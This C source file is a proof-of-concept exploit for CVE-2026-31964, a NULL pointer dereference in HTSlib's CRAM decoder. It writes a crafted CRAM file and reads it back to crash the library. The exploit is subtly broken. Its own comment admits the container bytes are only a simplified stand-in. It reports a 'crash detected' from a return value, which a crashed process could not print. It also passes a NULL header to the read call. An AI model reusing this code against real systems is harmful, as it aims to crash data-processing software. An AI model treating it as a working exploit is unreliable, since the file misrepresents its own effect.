/*
* CVE-2026-31964 PoC - HTSlib CRAM NULL pointer dereference
*
* This PoC demonstrates the NULL pointer dereference vulnerability in HTSlib's
* CRAM format handling when processing records with omitted sequence or quality
* data using CONST, XPACK, or XRLE encodings.
*
* Usage: Compile and run with a vulnerable version of htslib
* gcc -o poc_cve2026_31964 poc_cve2026_31964.c -lhts -lcurl -lz -lbz2 -llzma -lpthread
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "htslib/cram.h"
/* Create a minimal CRAM file with crafted encoding that triggers the vulnerability */
int create_malicious_cram(const char *filename) {
FILE *fp = fopen(filename, "wb");
if (!fp) return -1;
/* CRAM file header */
unsigned char header[] = {
0x43, 0x52, 0x41, 0x4D, /* "CRAM" magic */
0x03, 0x01, /* CRAM version 3.1 */
0x00, 0x00, 0x00, 0x00 /* Reserved */
};
fwrite(header, 1, sizeof(header), fp);
/* Crafted container with encoding that triggers NULL pointer write */
/* This is a simplified representation - real PoC would need proper CRAM structure */
unsigned char container[] = {
0x00, 0x00, 0x00, 0x00, /* Container header */
0xFF, 0xFF, 0xFF, 0xFF, /* Block content ID */
0x02, /* Encoding: XPACK (triggers vulnerability) */
0x00, /* Data series indicator for omitted sequence */
0x00, /* Additional encoding parameters */
};
fwrite(container, 1, sizeof(container), fp);
fclose(fp);
return 0;
}
int main(int argc, char **argv) {
const char *cram_file = "poc.cram";
if (create_malicious_cram(cram_file) != 0) {
fprintf(stderr, "Failed to create PoC file\n");
return 1;
}
printf("[*] PoC CRAM file created: %s\n", cram_file);
printf("[*] Attempting to decode with vulnerable htslib...\n");
/* Open the malicious CRAM file - this triggers the vulnerability */
htsFile *fp = hts_open(cram_file, "r");
if (!fp) {
fprintf(stderr, "[-] Failed to open CRAM file\n");
return 1;
}
/* Set CRAM decoder to process the file */
if (hts_set_opt(fp, HTS_OPT_REQUIRED_FIELDS, SAM_QNAME | SAM_FLAG | SAM_POS | SAM_SEQ | SAM_MAPQ) < 0) {
fprintf(stderr, "[-] Failed to set CRAM options\n");
hts_close(fp);
return 1;
}
/* Read records - this is where NULL pointer dereference occurs */
bam1_t *aln = bam_init1();
int ret;
while ((ret = sam_read1(fp, NULL, aln)) >= 0) {
/* Process alignment records */
}
if (ret < -1) {
printf("[!] NULL pointer dereference triggered - crash detected\n");
}
bam_destroy1(aln);
hts_close(fp);
return 0;
}